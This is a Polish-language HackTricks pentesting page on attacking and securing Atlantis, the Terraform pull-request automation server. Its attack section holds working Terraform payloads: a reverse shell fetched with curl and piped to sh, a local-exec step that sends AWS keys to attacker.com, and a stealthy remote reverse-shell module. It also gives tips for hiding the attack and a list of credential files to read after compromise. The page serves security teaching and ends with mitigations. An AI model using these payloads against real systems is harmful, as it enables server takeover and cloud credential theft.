Atlantis Security

Wesprzyj HackTricks

Podstawowe informacje

Atlantis pomaga uruchamiać terraform z Pull Requests z serwera git.

Lokalne laboratorium

  1. Przejdź do strony wydań atlantis na https://github.com/runatlantis/atlantis/releases i pobierz odpowiednią wersję.

  2. Utwórz token osobisty (z dostępem do repozytorium) swojego użytkownika github

  3. Wykonaj ./atlantis testdrive, aby utworzyć repozytorium demonstracyjne, z którego można komunikować się z atlantis

  4. Możesz uzyskać dostęp do strony internetowej pod adresem 127.0.0.1:4141

Dostęp do Atlantis

Dane uwierzytelniające serwera Git

Atlantis obsługuje kilka hostów git, takich jak Github, Gitlab, Bitbucket i Azure DevOps. Jednakże, aby uzyskać dostęp do repozytoriów na tych platformach i wykonywać akcje, musi im być udzielony uprzywilejowany dostęp (przynajmniej uprawnienia do zapisu). Dokumentacja zachęca do utworzenia użytkownika na tych platformach specjalnie dla Atlantis, ale niektórzy ludzie mogą używać kont osobistych.

Z perspektywy atakującego, konto Atlantis będzie bardzo interesujące do skompromitowania.

Webhooki

Atlantis opcjonalnie używa sekretów webhooków, aby zweryfikować, czy webhooki otrzymywane od twojego hosta Git są autentyczne.

Jednym sposobem potwierdzenia tego byłoby dozwolenie na żądania tylko z adresów IP twojego hosta Git, ale łatwiejszym sposobem jest użycie Sekretu Webhooka.

Zauważ, że chyba że używasz prywatnego serwera github lub bitbucket, będziesz musiał wystawić punkty końcowe webhooków do Internetu.

Atlantis będzie wystawiał webhooki, aby serwer git mógł przesyłać mu informacje. Z perspektywy atakującego byłoby interesujące dowiedzieć się, czy można mu wysyłać wiadomości.

Dane uwierzytelniające dostawcy

Z dokumentacji:

Atlantis uruchamia Terraform po prostu wykonując polecenia terraform plan i apply na serwerze, na którym jest hostowany Atlantis. Tak jak w przypadku lokalnego uruchamiania Terraform, Atlantis potrzebuje poświadczeń dla konkretnego dostawcy.

To od ciebie zależy, jak dostarczasz poświadczenia dla konkretnego dostawcy do Atlantis:

  • Chart Helm Atlantisa i Moduł AWS Fargate mają własne mechanizmy do poświadczeń dostawcy. Przeczytaj ich dokumentację.

  • Jeśli uruchamiasz Atlantis w chmurze, wiele chmur ma sposoby udzielania dostępu do API chmury aplikacjom działającym na nich, np.:

  • Role EC2 AWS (Szukaj "EC2 Role")

  • Wielu użytkowników ustawia zmienne środowiskowe, np. AWS_ACCESS_KEY, tam, gdzie działa Atlantis.

  • Inni tworzą niezbędne pliki konfiguracyjne, np. ~/.aws/credentials, tam, gdzie działa Atlantis.

  • Użyj Dostawcy HashiCorp Vault, aby uzyskać poświadczenia dostawcy.

Kontener, w którym działa Atlantis, najprawdopodobniej zawiera uprzywilejowane poświadczenia dostawców (AWS, GCP, Github...), którymi Atlantis zarządza za pomocą Terraform.

Strona internetowa

Domyślnie Atlantis uruchomi stronę internetową na porcie 4141 w localhost. Strona ta pozwala jedynie włączyć/wyłączyć zastosowanie atlantis i sprawdzić status planu repozytoriów oraz odblokować je (nie pozwala na modyfikowanie rzeczy, więc nie jest to zbyt przydatne).

Prawdopodobnie nie będzie ona wystawiona do Internetu, ale domyślnie nie są wymagane żadne poświadczenia do jej uzyskania (a jeśli są, domyślne to atlantis:atlantis).

Konfiguracja serwera

Konfigurację atlantis server można określić za pomocą flag wiersza poleceń, zmiennych środowiskowych, pliku konfiguracyjnego lub mieszanki tych trzech.

Wartości są wybierane w tej kolejności:

  1. Flagi

  2. Zmienne środowiskowe

  3. Plik konfiguracyjny

Zauważ, że w konfiguracji możesz znaleźć interesujące wartości, takie jak tokeny i hasła.

Konfiguracja repozytoriów

Niektóre konfiguracje wpływają na zarządzanie repozytoriami. Jednakże możliwe jest, że każde repozytorium wymaga różnych ustawień, więc istnieją sposoby określenia każdego repozytorium. Oto kolejność priorytetów:

  1. Plik /atlantis.yml repozytorium. Ten plik może być używany do określenia sposobu traktowania repozytorium przez atlantis. Jednak domyślnie niektóre klucze nie mogą być określone tutaj bez odpowiednich flag.

  2. Prawdopodobnie wymagane jest zezwolenie na to za pomocą flag takich jak allowed_overrides lub allow_custom_workflows

  3. Konfiguracja po stronie serwera: Możesz przekazać ją za pomocą flagi --repo-config i jest to yaml konfigurujący nowe ustawienia dla każdego repozytorium (obsługiwane są wyrażenia regularne)

  4. Domyślne wartości

Zabezpieczenia PR

Atlantis pozwala wskazać, czy chcesz, aby PR został zatwierdzony przez kogoś innego (nawet jeśli nie jest to ustawione w ochronie gałęzi) i/lub był scalalny (przeszły zabezpieczenia gałęzi) przed uruchomieniem apply. Z punktu widzenia bezpieczeństwa zaleca się ustawienie obu opcji.

W przypadku gdy allowed_overrides jest ustawione na True, te ustawienia mogą być nadpisane w każdym projekcie przez plik /atlantis.yml.

Skrypty

Konfiguracja repozytorium może określić skrypty do uruchomienia przed (pre workflow hooks) oraz po (post workflow hooks) wykonaniu workflow.

Nie ma opcji, aby określić te skrypty w pliku /atlantis.yml repozytorium.

Workflow

W konfiguracji repozytorium (konfiguracja po stronie serwera) można określić nowy domyślny workflow, lub utworzyć nowe niestandardowe workflowy. Można również określić, które repozytoria mogą uzyskać dostęp do nowo wygenerowanych. Następnie, można pozwolić plikowi atlantis.yaml każdego repozytorium określić używany workflow.

Jeśli flaga konfiguracji po stronie serwera allow_custom_workflows jest ustawiona na True, workflowy mogą być określone w pliku atlantis.yaml każdego repozytorium. Potrzebne jest również, aby allowed_overrides określało również workflow do nadpisania workflowu, który ma być użyty. To w zasadzie da RCE na serwerze Atlantis każdemu użytkownikowi, który może uzyskać dostęp do tego repozytorium.

# atlantis.yaml
version: 3
projects:
- dir: .
workflow: custom1
workflows:
custom1:
plan:
steps:
- init
- run: my custom plan command
apply:
steps:
- run: my custom apply command

Sprawdzanie zasad Conftest

Atlantis obsługuje uruchamianie serwerowych zasad conftest przeciwko wynikowi planu. Powszechne przypadki użycia tego kroku obejmują:

  • Odmawianie korzystania z listy modułów

  • Sprawdzanie atrybutów zasobu podczas tworzenia

  • Wykrywanie niezamierzonych usunięć zasobów

  • Zapobieganie ryzyku bezpieczeństwa (tj. ujawnianie bezpiecznych portów publicznie)

Możesz sprawdzić, jak to skonfigurować w dokumentacji.

Komendy Atlantis

W dokumentacji znajdziesz opcje, które możesz użyć do uruchomienia Atlantisa:

# Get help
atlantis help

# Run terraform plan
atlantis plan [options] -- [terraform plan flags]
##Options:
## -d directory
## -p project
## --verbose
## You can also add extra terraform options

# Run terraform apply
atlantis apply [options] -- [terraform apply flags]
##Options:
## -d directory
## -p project
## -w workspace
## --auto-merge-disabled
## --verbose
## You can also add extra terraform options

Ataki

Jeśli podczas eksploatacji napotkasz ten błąd: Error: Error acquiring the state lock

Możesz naprawić to, wykonując:

atlantis unlock #You might need to run this in a different PR
atlantis plan -- -lock=false

Plan RCE w Atlancie - Modyfikacja konfiguracji w nowym PR

Jeśli masz uprawnienia do zapisu w repozytorium, będziesz mógł utworzyć na nim nową gałąź i wygenerować PR. Jeśli możesz wykonać atlantis plan (lub może być on wykonywany automatycznie) będziesz mógł wykonać zdalne wykonanie kodu (RCE) w serwerze Atlantisa.

Możesz to zrobić, umieszczając zewnętrzne źródło danych w Atlancie. Wystarczy umieścić ładunek tak jak poniżej w pliku main.tf:

data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

Skrytszy Atak

Możesz przeprowadzić ten atak nawet w bardziej skryty sposób, postępując zgodnie z tymi sugestiami:

  • Zamiast dodawać rev shell bezpośrednio do pliku terraform, możesz załadować zewnętrzny zasób, który zawiera rev shell:

module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

Możesz znaleźć kod powłoki rev w https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules

  • W zewnętrznym zasobie użyj funkcji ref, aby ukryć kod powłoki terraform rev w gałęzi wewnątrz repozytorium, coś w rodzaju: git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b

  • Zamiast tworzyć PR do master w celu uruchomienia Atlantisa, utwórz 2 gałęzie (test1 i test2) i utwórz PR z jednej do drugiej. Gdy zakończysz atak, po prostu usuń PR i gałęzie.

Wyciek sekretów z planu Atlantisa

Możesz wyciągnąć sekrety używane przez terraform uruchamiając atlantis plan (terraform plan) poprzez umieszczenie czegoś takiego w pliku terraform:

output "dotoken" {
value = nonsensitive(var.do_token)
}

Atlantis zastosuj RCE - Modyfikacja konfiguracji w nowym PR

Jeśli masz uprawnienia do zapisu w repozytorium, będziesz mógł utworzyć na nim nową gałąź i wygenerować PR. Jeśli możesz wykonać atlantis apply, będziesz mógł wykonać RCE w serwerze Atlantis.

Jednak zazwyczaj będziesz musiał ominąć pewne zabezpieczenia:

  • Możliwość scalenia: Jeśli to zabezpieczenie jest ustawione w Atlantis, możesz uruchomić atlantis apply tylko wtedy, gdy PR jest możliwy do scalenia (co oznacza, że zabezpieczenie gałęzi musi zostać zignorowane).

  • Zatwierdzone: Jeśli to zabezpieczenie jest ustawione w Atlantis, inny użytkownik musi zatwierdzić PR, zanim będziesz mógł uruchomić atlantis apply

Uruchamiając terraform apply na złośliwym pliku Terraform z local-exec. Wystarczy upewnić się, że pewny ładunek, jak poniższe przykłady, znajduje się w pliku main.tf:

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

Zastosuj sugestie z poprzedniej techniki, aby przeprowadzić ten atak w bardziej skrytym sposób.

Wstrzykiwanie Parametrów Terraform

Podczas uruchamiania atlantis plan lub atlantis apply terraform jest uruchamiany wewnętrznie, możesz przekazywać polecenia do terraform z atlantis, komentując coś w stylu:

atlantis plan -- <terraform commands>
atlantis plan -- -h #Get terraform plan help

atlantis apply -- <terraform commands>
atlantis apply -- -h #Get terraform apply help

Coś, co możesz przekazać, to zmienne środowiskowe, które mogą pomóc w ominięciu niektórych zabezpieczeń. Sprawdź zmienne środowiskowe Terraforma w https://www.terraform.io/cli/config/environment-variables

Niestandardowy Workflow

Uruchamianie złośliwych niestandardowych poleceń budowania określonych w pliku atlantis.yaml. Atlantis korzysta z pliku atlantis.yaml z gałęzi żądania ściągnięcia, nie z master. Ta możliwość została wspomniana w poprzednim rozdziale:

Jeśli flaga konfiguracja po stronie serwera allow_custom_workflows jest ustawiona na True, workflowy mogą być określone w pliku atlantis.yaml każdego repozytorium. Potencjalnie konieczne jest również, aby allowed_overrides określało również workflow do nadpisywania workflowu, który ma być użyty.

To w zasadzie umożliwi RCE w serwerze Atlantis dla każdego użytkownika, który może uzyskać dostęp do tego repozytorium.

# atlantis.yaml
version: 3
projects:
- dir: .
workflow: custom1
workflows:
custom1:
plan:
steps:
- init
- run: my custom plan command
apply:
steps:
- run: my custom apply command

Pomijanie zabezpieczeń planowania/wdrożenia

Jeśli flaga konfiguracja po stronie serwera allowed_overrides ma skonfigurowane apply_requirements, repozytorium może zmodyfikować zabezpieczenia planowania/wdrożenia w celu ich pominięcia.

repos:
- id: /.*/
apply_requirements: []

Przechwytywanie PR

Jeśli ktoś wysyła komentarze atlantis plan/apply na Twoje ważne żądania ściągnięcia, spowoduje to uruchomienie terraformy, gdy nie chcesz tego.

Co więcej, jeśli nie masz skonfigurowanej ochrony gałęzi w celu ponownej oceny każdego PR po wciśnięciu nowego commita do niego, ktoś mógłby napisać złośliwe konfiguracje (sprawdź poprzednie scenariusze) w konfiguracji terraformy, uruchomić atlantis plan/apply i uzyskać RCE.

Oto ustawienie w zabezpieczeniach gałęzi Github:

Sekret webhooka

Jeśli uda Ci się ukraść sekret webhooka lub jeśli nie jest używany żaden sekret webhooka, możesz wywołać webhook Atlantisa i wywołać polecenia atlatis bezpośrednio.

Bitbucket

Bitbucket Cloud nie obsługuje sekretów webhooka. Może to pozwolić atakującym na podrobienie żądań z Bitbucket. Upewnij się, że zezwalasz tylko na adresy IP Bitbucket.

  • Oznacza to, że atakujący mógłby wysyłać fałszywe żądania do Atlantisa, które wyglądają, jakby pochodziły z Bitbucket.

  • Jeśli określasz --repo-allowlist, mogliby tylko fałszować żądania dotyczące tych repozytoriów, więc największą szkodę mogliby wyrządzić, planując/wdrażając na swoich własnych repozytoriach.

  • Aby temu zapobiec, dodaj na białą listę adresy IP Bitbucketa (zobacz adresy IP wychodzące).

Po wykorzystaniu

Jeśli udało Ci się uzyskać dostęp do serwera lub przynajmniej uzyskałeś LFI, istnieje kilka interesujących rzeczy, które warto spróbować odczytać:

  • /home/atlantis/.git-credentials Zawiera dane dostępu do VCS

  • /atlantis-data/atlantis.db Zawiera dane dostępu do VCS z dodatkowymi informacjami

  • /atlantis-data/repos/<org_name>/<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate Plik stanu Terraform

  • Przykład: /atlantis-data/repos/ghOrg_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate

  • /proc/1/environ Zmienne środowiskowe

  • /proc/[2-20]/cmdline Linia poleceń atlantis server (może zawierać dane poufne)

Środki zaradcze

Nie używaj na publicznych repozytoriach

Ponieważ każdy może komentować publiczne żądania ściągnięcia, nawet przy dostępnych wszystkich dostępnych środkach bezpieczeństwa, nadal jest niebezpieczne uruchamianie Atlantisa na publicznych repozytoriach bez właściwej konfiguracji ustawień bezpieczeństwa.

Nie używaj --allow-fork-prs

Jeśli działasz na publicznym repozytorium (co nie jest zalecane, patrz powyżej), nie powinieneś ustawiać --allow-fork-prs (domyślnie false), ponieważ każdy może otworzyć żądanie ściągnięcia ze swojego forka do Twojego repozytorium.

--repo-allowlist

Atlantis wymaga określenia listy dozwolonych repozytoriów, z których będzie akceptować webhooki za pomocą flagi --repo-allowlist. Na przykład:

  • Konkretne repozytoria: --repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests

  • Cała Twoja organizacja: --repo-allowlist=github.com/runatlantis/*

  • Wszystkie repozytoria w Twojej instalacji GitHub Enterprise: --repo-allowlist=github.yourcompany.com/*

  • Wszystkie repozytoria: --repo-allowlist=*. Przydatne, gdy jesteś w sieci chronionej, ale niebezpieczne bez ustawienia sekretu webhooka.

Ta flaga zapewnia, że Twoja instalacja Atlantisa nie jest używana z repozytoriami, którymi nie zarządzasz. Zobacz atlantis server --help po więcej szczegółów.

Ochrona planowania Terraformy

Jeśli atakujący składający żądania ściągnięcia z złośliwym kodem Terraform znajduje się w Twoim modelu zagrożeń, musisz być świadomy, że zatwierdzenia terraform apply nie są wystarczające. Istnieje możliwość uruchomienia złośliwego kodu w terraform plan, korzystając z external źródła danych lub poprzez określenie złośliwego dostawcy. Ten kod mógłby wyciekać Twoje dane uwierzytelniające.

Aby temu zapobiec, możesz:

  1. Wgrać dostawców do obrazu Atlantisa lub hosta i zablokować egress w produkcji.

  2. Wdrożyć protokół rejestru dostawców wewnętrznie i zablokować publiczny egress, w ten sposób kontrolujesz, kto ma dostęp do rejestru zapisu.

  3. Zmodyfikuj konfigurację repozytorium po stronie serwera plan w celu walidacji przeciwko użyciu niedozwolonych dostawców lub źródeł danych lub PR od niedozwolonych użytkowników. Możesz również dodać dodatkową walidację w tym punkcie, np. wymagając "kciuka w górę" na PR przed zezwoleniem na kontynuowanie plan. Conftest może być tu przydatny.

Sekrety webhooka

Atlantis powinien być uruchamiany z ustawionymi sekretami webhooka za pomocą zmiennych środowiskowych $ATLANTIS_GH_WEBHOOK_SECRET/$ATLANTIS_GITLAB_WEBHOOK_SECRET. Nawet jeśli flaga --repo-allowlist jest ustawiona, bez sekretu webhooka atakujący mogliby wysyłać żądania do Atlantisa podszywając się pod repozytorium, które jest na liście dozwolonych. Sekrety webhooka zapewniają, że żądania webhooka faktycznie pochodzą od Twojego dostawcy VCS (GitHub lub GitLab).

Jeśli korzystasz z Azure DevOps, zamiast sekretów webhooka dodaj podstawową nazwę użytkownika i hasło.

Podstawowa autentykacja Azure DevOps

Azure DevOps obsługuje wysyłanie nagłówka podstawowej autentykacji we wszystkich zdarzeniach webhooka. Wymaga to użycia adresu URL HTTPS dla lokalizacji webhooka.

SSL/HTTPS

Jeśli korzystasz z sekretów webhooka, ale ruch jest przesyłany przez HTTP, sekrety webhooka mogą zostać skradzione. Włącz SSL/HTTPS za pomocą flag --ssl-cert-file i --ssl-key-file.

Włącz autentykację na serwerze sieciowym Atlantisa

Bardzo zaleca się włączenie autentykacji w usłudze sieciowej. Włącz BasicAuth za pomocą --web-basic-auth=true i skonfiguruj nazwę użytkownika i hasło za pomocą flag --web-username=yourUsername i --web-password=yourPassword.

Możesz również przekazać je jako zmienne środowiskowe ATLANTIS_WEB_BASIC_AUTH=true ATLANTIS_WEB_USERNAME=yourUsername i ATLANTIS_WEB_PASSWORD=yourPassword.

Odnośniki

Wsparcie dla HackTricks

Last updated